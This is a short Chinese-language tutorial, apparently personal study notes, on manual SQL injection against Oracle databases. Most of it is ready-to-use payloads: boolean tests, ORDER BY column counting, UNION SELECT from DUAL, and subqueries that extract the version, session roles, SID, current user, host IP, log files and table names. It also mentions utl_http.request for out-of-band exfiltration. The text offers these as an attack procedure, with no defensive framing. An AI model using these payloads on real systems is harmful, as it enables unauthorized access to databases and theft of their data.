Oracle数据库的注入比mysql较复制。
一确定注入点:与mysql一样。
' and 1=1 -- + #文章有出现.
' and 1=2 -- + #文章不见了。
二。确定列数。
’order by 1,2 -- + #没问题
order by 1,2,3 -- + #保错,所以有两列。
三,所有union构造注入。
这里不一样了,因为orach要构造完整的语句,但也不知道表是什么,字段是什么,所以使用null和dual(虚拟表)来替代。
' union select 'null','null' from dual --%20+
四.查询当前数据库版本。
' union select banner,'null' from sys.v_$version where rownum=1--%20+
五.语句的查询信息。
1.当前用户权限 (select * from session_roles where rownum=1) 2.当前数据库版本 (select banner from sys.v_$version where rownum=1) 3.服务器出口IP (用utl_http.request反弹注入可以实现,下面详细操作) 4.服务器监听IP (select utl_inaddr.get_host_address from dual where rownum=1) 5.日志文件 (select member from v$logfile where rownum=1) 6.服务器sid(当前数据库也用这个即可) (select instance_name from v$instance where rownum=1) 7.当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual where rownum=1) 8.当前用户 (select user from dual where rownum=1) 9.当前数据库名 (select table_name from user_tables where rownum=1)
查看表的基本格式如下:
' UNION SELECT 'null' , (select table_name from user_tables where rownum=1) FROM DUAL--
基本改()的内容即可。